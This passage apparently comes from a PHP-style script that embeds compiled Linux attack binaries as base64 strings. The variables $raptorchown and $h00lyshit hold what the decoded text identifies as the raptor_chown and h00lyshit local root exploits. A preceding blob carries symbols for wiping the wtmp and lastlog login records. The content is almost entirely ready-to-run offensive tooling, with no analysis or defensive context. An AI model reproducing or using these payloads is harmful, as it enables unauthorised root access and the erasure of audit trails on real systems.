bmQAZGF0YV9zdGFydABwcmludGZAQEdMSUJDXzIuMABfZmluaQBsc2Vla0BAR0xJQkNfMi4wAF9f
cHJlaW5pdF9hcnJheV9lbmQAb3BlbkBAR0xJQkNfMi4wAGJ6ZXJvQEBHTElCQ18yLjAAZ2V0cHdu
YW1AQEdMSUJDXzIuMABfZWRhdGEAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAX19pbml0X2Fy
cmF5X3N0YXJ0AF9JT19zdGRpbl91c2VkAGtpbGxfd3RtcABfX2RhdGFfc3RhcnQAX0p2X1JlZ2lz
dGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAcmVhZEBAR0xJQkNfMi4wAGtpbGxfbGFz
dGxvZwBfX2dtb25fc3RhcnRfXwA=";
$raptorchown="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
Q29weXJpZ2h0IChjKSAyMDA0IE1hcmNvIEl2YWxkaSA8cmFwdG9yQDB4ZGVhZGJlZWYuaW5mbz4A
AAAAAAAAAHJhcHRvcl9jaG93bi5jIC0gc3lzX2Nob3duIG1pc3NpbmcgREFDIGNvbnRyb2xzIG9u
IExpbnV4ACVzCiVzCgoAdXNhZ2U6ICVzIGZpbGVfbmFtZQoKAEVycm9yOiBOb3QgdnVsbmVyYWJs
ZSEKAEVycm9yAE5pbnBvdTogc3lzX2Nob3duIG5vIGp1dHN1IQoAL2Jpbi9scyAtbCAlcwAAAAAA
AAAAAOSYBAgAAAAAAQAAAAEAAAAMAAAAnIMECA0AAADIhgQIBAAAAEiBBAgFAAAAYIIECAYAAACQ
gQQICgAAAJcAAAALAAAAEAAAABUAAAAAAAAAAwAAAOyYBAgCAAAASAAAABQAAAARAAAAFwAAAFSD
BAgRAAAARIMECBIAAAAQAAAAEwAAAAgAAAD+//9vFIMECP///28BAAAA8P//b/iCBAgAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA
AAAAABCYBAgAAAAAAAAAAMqDBAjagwQI6oMECPqDBAgKhAQIGoQECCqEBAg6hAQISoQECAAAAAAA
R0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABH
Q0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdD
QzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAALnN5
bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmhhc2gALmR5bnN5
bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAu
aW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5kYXRhAC5laF9mcmFtZQAuZHluYW1pYwAuY3RvcnMA
LmR0b3JzAC5qY3IALmdvdAAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAABsAAAABAAAAAgAAABSBBAgUAQAAEwAAAAAAAAAAAAAAAQAAAAAAAAAj
AAAABwAAAAIAAAAogQQIKAEAACAAAAAAAAAAAAAAAAQAAAAAAAAAMQAAAAUAAAACAAAASIEECEgB
AABIAAAABAAAAAAAAAAEAAAABAAAADcAAAALAAAAAgAAAJCBBAiQAQAA0AAAAAUAAAABAAAABAAA
ABAAAAA/AAAAAwAAAAIAAABgggQIYAIAAJcAAAAAAAAAAAAAAAEAAAAAAAAARwAAAP///28CAAAA
+IIECPgCAAAaAAAABAAAAAAAAAACAAAAAgAAAFQAAAD+//9vAgAAABSDBAgUAwAAMAAAAAUAAAAB
AAAABAAAAAAAAABjAAAACQAAAAIAAABEgwQIRAMAABAAAAAEAAAAAAAAAAQAAAAIAAAAbAAAAAkA
AAACAAAAVIMECFQDAABIAAAABAAAAAsAAAAEAAAACAAAAHUAAAABAAAABgAAAJyDBAicAwAAFwAA
AAAAAAAAAAAABAAAAAAAAABwAAAAAQAAAAYAAAC0gwQItAMAAKAAAAAAAAAAAAAAAAQAAAAEAAAA
ewAAAAEAAAAGAAAAVIQECFQEAAB0AgAAAAAAAAAAAAAEAAAAAAAAAIEAAAABAAAABgAAAMiGBAjI
BgAAGwAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAIAAAAAhwQIAAcAAAABAAAAAAAAAAAAACAA
AAAAAAAAjwAAAAEAAAADAAAAAJgECAAIAAAMAAAAAAAAAAAAAAAEAAAAAAAAAJUAAAABAAAAAgAA
AAyYBAgMCAAABAAAAAAAAAAAAAAABAAAAAAAAACfAAAABgAAAAMAAAAQmAQIEAgAAMgAAAAFAAAA
AAAAAAQAAAAIAAAAqAAAAAEAAAADAAAA2JgECNgIAAAIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAAB
AAAAAwAAAOCYBAjgCAAACAAAAAAAAAAAAAAABAAAAAAAAAC2AAAAAQAAAAMAAADomAQI6AgAAAQA
AAAAAAAAAAAAAAQAAAAAAAAAuwAAAAEAAAADAAAA7JgECOwIAAA0AAAAAAAAAAAAAAAEAAAABAAA
AMAAAAAIAAAAAwAAACCZBAggCQAACAAAAAAAAAAAAAAABAAAAAAAAADFAAAAAQAAAAAAAAAAAAAA
IAkAAKgAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAMgJAADOAAAAAAAAAAAAAAAB
AAAAAAAAAAEAAAACAAAAAAAAAAAAAADQDgAA0AQAABoAAAArAAAABAAAABAAAAAJAAAAAwAAAAAA
AAAAAAAAoBMAANcCAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgQQIAAAA
AAMAAQAAAAAAKIEECAAAAAADAAIAAAAAAEiBBAgAAAAAAwADAAAAAACQgQQIAAAAAAMABAAAAAAA
YIIECAAAAAADAAUAAAAAAPiCBAgAAAAAAwAGAAAAAAAUgwQIAAAAAAMABwAAAAAARIMECAAAAAAD
AAgAAAAAAFSDBAgAAAAAAwAJAAAAAACcgwQIAAAAAAMACgAAAAAAtIMECAAAAAADAAsAAAAAAFSE
BAgAAAAAAwAMAAAAAADIhgQIAAAAAAMADQAAAAAAAIcECAAAAAADAA4AAAAAAACYBAgAAAAAAwAP
AAAAAAAMmAQIAAAAAAMAEAAAAAAAEJgECAAAAAADABEAAAAAANiYBAgAAAAAAwASAAAAAADgmAQI
AAAAAAMAEwAAAAAA6JgECAAAAAADABQAAAAAAOyYBAgAAAAAAwAVAAAAAAAgmQQIAAAAAAMAFgAA
AAAAAAAAAAAAAAADABcAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAA
AAADABoAAQAAAHiEBAgAAAAAAgAMABEAAAAAAAAAAAAAAAQA8f8cAAAA2JgECAAAAAABABIAKgAA
AOCYBAgAAAAAAQATADgAAADomAQIAAAAAAEAFABFAAAACJgECAAAAAABAA8ASQAAACSZBAgBAAAA
AQAWAFUAAACchAQIAAAAAAIADABrAAAA2IQECAAAAAACAAwAEQAAAAAAAAAAAAAABADx/3cAAADc
mAQIAAAAAAEAEgCEAAAA5JgECAAAAAABABMAkQAAAAyYBAgAAAAAAQAQAJ8AAADomAQIAAAAAAEA
FACrAAAApIYECAAAAAACAAwAwQAAAAAAAAAAAAAABADx/9AAAAAAAAAA4AAAABIAAADhAAAAEJgE
CAAAAAARABEA6gAAAACHBAgEAAAAEQAOAPEAAAAAAAAAyQEAABIAAAADAQAAAAAAABQAAAASAAAA
FgEAAACYBAgAAAAAEALx/ycBAAAEmAQIAAAAABECDwA0AQAAYIYECEQAAAASAAwARAEAAAAAAAA0
AAAAEgAAAGABAAAAAAAAZgAAABIAAAByAQAAnIMECAAAAAASAAoAeAEAACCZBAgEAAAAEQAWAIoB
AABUhAQIAAAAABIADACRAQAAAJgECAAAAAAQAvH/pAEAABiGBAhIAAAAEgAMALQBAAAgmQQIAAAA
ABAA8f/AAQAABIUECBEBAAASAAwAxQEAAAAAAADVAAAAEgAAAOIBAAAAmAQIAAAAABAC8f/zAQAA
AJgECAAAAAAgAA8A/gEAAMiGBAgAAAAAEgANAAQCAAAAAAAAQwAAABIAAAAWAgAAAJgECAAAAAAQ
AvH/KgIAAAAAAADLAAAAEgAAADoCAAAgmQQIAAAAABAA8f9BAgAA7JgECAAAAAARABUAVwIAACiZ
BAgAAAAAEADx/1wCAAAAmAQIAAAAABAC8f9vAgAABIcECAQAAAARAA4AfgIAAAAAAAAkAAAAEgAA
AJECAAAAmAQIAAAAABAADwCeAgAAAAAAAAAAAAAgAAAAsgIAAACYBAgAAAAAEALx/8gCAAAAAAAA
AAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1Jf
TElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4
AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pD
Ul9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAcmFwdG9yX2Nob3duLmMAY2hvd25AQEdMSUJD
XzIuMQBfRFlOQU1JQwBfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZnByaW50ZkBAR0xJQkNfMi4w
AF9fZmluaV9hcnJheV9lbmQAX19kc29faGFuZGxlAF9fbGliY19jc3VfZmluaQBfX2Vycm5vX2xv
Y2F0aW9uQEBHTElCQ18yLjAAc3lzdGVtQEBHTElCQ18yLjAAX2luaXQAc3RkZXJyQEBHTElCQ18y
LjAAX3N0YXJ0AF9fZmluaV9hcnJheV9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQA
bWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9faW5pdF9hcnJheV9lbmQAZGF0YV9z
dGFydABfZmluaQBnZXRnaWRAQEdMSUJDXzIuMABfX3ByZWluaXRfYXJyYXlfZW5kAGV4aXRAQEdM
SUJDXzIuMABfZWRhdGEAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAX19pbml0X2FycmF5X3N0
YXJ0AF9JT19zdGRpbl91c2VkAHNwcmludGZAQEdMSUJDXzIuMABfX2RhdGFfc3RhcnQAX0p2X1Jl
Z2lzdGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A";
$h00lyshit="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAgIcECDQAAADYEgAAAAAAADQAIAAHACgAGwAYAAYAAAA0
AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQIbg4AAG4OAAAFAAAAABAAAAEAAAAAEAAAAJAECACQBAhYAQAAxAgA
AAYAAAAAEAAAAgAAABAQAAAQkAQIEJAECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQI
IAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1s
aW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAdAAAADgAAAAAA
AAAaAAAAAAAAAAkAAAARAAAAAQAAABAAAAATAAAAAwAAABsAAAALAAAAAAAAABkAAAAPAAAAHAAA
AAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA
AAAAAAcAAAAAAAAAAAAAAAAAAAAKAAAACAAAAAwAAAASAAAADQAAABYAAAAXAAAAGAAAABQAAAAV
AAAABgAAAAAAAAAAAAAAAAAAAAAAAAAhAAAAAAAAAAgAAAASAAAAYgAAAAAAAABGAAAAEgAAADUA
AAAAAAAAyQEAABIAAABdAAAAAAAAAFAAAAASAAAAPAAAAAAAAAC+AAAAEgAAAEMAAAAAAAAANgAA
ABIAAAAaAAAAAAAAAFcAAAASAAAASAAAAAAAAAA6AAAAEgAAACgAAAAAAAAASAAAABIAAAC2AAAA
AAAAAC4AAAASAAAAEwAAAGCRBAgEAAAAEQAWAIQAAABkkQQIBAAAABEAFgALAAAAAAAAAHwAAAAS
AAAAwgAAAAAAAAAhAQAAEgAAAHAAAAAAAAAAeQAAABIAAACfAAAAAAAAANUAAAASAAAATgAAAAAA
AAAnAAAAEgAAAH0AAAAAAAAAKQAAABIAAAAuAAAAAAAAADcAAAASAAAANgAAAHuIBAgvAAAAEgAM
ALEAAAAAAAAAfAAAABIAAACLAAAAAAAAAMsAAAASAAAAdQAAAAAAAADJAAAAEgAAAGkAAAAAAAAA
QwAAABIAAACQAAAA6I0ECAQAAAARAA4AVQAAAAAAAAA8AAAAEgAAAHwAAAAAAAAAJAAAABIAAADL
AAAAAAAAAAAAAAAgAAAAAGxpYmMuc28uNgB3YWl0cGlkAHN0ZG91dABleGVjdmUAZ2V0cGlkAHBy
Y3RsAG1lbWNweQBwZXJyb3IAZmZsdXNoAG1tYXAAY2htb2QAc3RyY2F0AG1hZHZpc2UAZm9yawBz
dHJkdXAAbWVtc2V0AG5pY2UAZ2V0Y3dkAHNwcmludGYAc3RkZXJyAGV4aXQAX0lPX3N0ZGluX3Vz
ZWQAX19saWJjX3N0YXJ0X21haW4Ab3BlbgBzY2hlZF95aWVsZABfX2Z4c3RhdABfX2dtb25fc3Rh
cnRfXwBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEA
AgACAAIAAgABAAIAAgAAAAAAAQABAAEAAAAQAAAAAAAAABBpaQ0AAAIA2gAAAAAAAABUkQQIBhwA
AGCRBAgFCwAAZJEECAUMAAD4kAQIBwEAAPyQBAgHAgAAAJEECAcDAAAEkQQIBwQAAAiRBAgHBQAA
DJEECAcGAAAQkQQIBwcAABSRBAgHCAAAGJEECAcJAAAckQQIBwoAACCRBAgHDQAAJJEECAcOAAAo
kQQIBw8AACyRBAgHEAAAMJEECAcRAAA0kQQIBxIAADiRBAgHEwAAPJEECAcVAABAkQQIBxYAAESR
BAgHFwAASJEECAcYAABMkQQIBxoAAFCRBAgHGwAAVYnlg+wI6LEBAADoDAIAAOinBwAAycMA/zXw
kAQI/yX0kAQIAAAAAP8l+JAECGgAAAAA6eD/////JfyQBAhoCAAAAOnQ/////yUAkQQIaBAAAADp
wP////8lBJEECGgYAAAA6bD/////JQiRBAhoIAAAAOmg/////yUMkQQIaCgAAADpkP////8lEJEE
CGgwAAAA6YD/////JRSRBAhoOAAAAOlw/////yUYkQQIaEAAAADpYP////8lHJEECGhIAAAA6VD/
////JSCRBAhoUAAAAOlA/////yUkkQQIaFgAAADpMP////8lKJEECGhgAAAA6SD/////JSyRBAho
aAAAAOkQ/////yUwkQQIaHAAAADpAP////8lNJEECGh4AAAA6fD+////JTiRBAhogAAAAOng/v//
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
